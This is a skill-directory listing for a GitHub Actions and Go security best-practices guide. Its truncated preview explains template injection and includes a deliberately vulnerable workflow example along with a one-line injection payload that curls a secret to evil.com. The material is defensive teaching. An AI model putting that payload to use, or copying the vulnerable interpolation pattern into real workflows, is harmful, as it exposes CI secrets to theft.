developer-security

Featured

Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.

AI & Automation 5,125 stars 539 forks Updated today MIT

Install

View on GitHub

Quality Score: 90/100

Stars 20%
100
Recency 20%
100
Frontmatter 20%
70
Documentation 15%
100
Issue Health 10%
50
License 10%
100
Description 5%
100

Skill Content

# Security Best Practices Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code. ## Table of Contents - [Template Injection Prevention](#template-injection-prevention) - [Cross-Trigger Nullability](#cross-trigger-nullability-in-generated-conditional-expressions) - [Shell Script Best Practices](#shell-script-best-practices) - [Supply Chain Security](#supply-chain-security) - [Workflow Structure and Permissions](#workflow-structure-and-permissions) - [Static Analysis Integration](#static-analysis-integration) - [Security Checklist](#security-checklist) ### Template Injection Prevention Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets. #### Understanding the Risk GitHub Actions expressions (`${{ }}`) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code. #### Insecure Pattern ```yaml # VULNERABLE: Direct use of untrusted input name: Process Issue on: issues: types: [opened] jobs: process: runs-on: ubuntu-latest steps: - name: Echo issue title run: echo "${{ github.event.issue.title }}" ``` **Why vulnerable:** Issue title is directly interpolated. An attacker can inject: `"; curl evil.com/?secret=$SECRET; echo "` #### Secure Pattern: Environment Variables ```yaml # SECUR...

Details

Author
github
Repository
github/gh-aw
Created
1 years ago
Last Updated
today
Language
Go
License
MIT

Integrates with

Similar Skills

Semantically similar based on skill content — not just same category

AI & Automation Listed

gha-style

GitHub Actions workflow coding conventions: security-critical patterns including permissions, action version pinning, script injection prevention, timeout, shell settings, and concurrency. Load whenever writing or reviewing .github/workflows/*.yml, creating composite actions (.github/actions/), or discussing CI/CD pipeline design. Trigger on: workflow yaml, github actions, CI/CD, .yml in .github/, actions/checkout, ubuntu-latest, workflow_dispatch, on: push, on: pull_request, jobs:, steps:, run:.

1 Updated 3 days ago
furedea
Code & Development Listed

github-actions

Write, review, and harden GitHub Actions workflows against supply-chain attacks, and bump a whole fleet of repos' action pins to the latest versions. Use when writing or editing a workflow YAML (.github/workflows/*.yml, ci.yml), when asked to review a CI workflow or audit GitHub Actions security, when the ci-action-ref-reminder hook fires, or when the user wants to "bump my actions", "update the fleet", "pin actions to SHAs", run zizmor, or close supply-chain / pull_request_target / script-injection / GITHUB_TOKEN-permissions gaps. Pairs with references/security-checklist.md (the full checklist) and dev-env-setup's CI templates.

0 Updated yesterday
mickzijdel
DevOps & Infrastructure Listed

cicd-security

Harden GitHub Actions, GitLab CI, and similar pipelines against supply-chain attacks, secret exfiltration, and pwn-request abuse. Use when authoring or reviewing workflow files, adding a third-party action, image, or script, wiring cloud or registry credentials into CI, or triaging a suspected pipeline compromise.

22 Updated 4 weeks ago
ShieldNet-360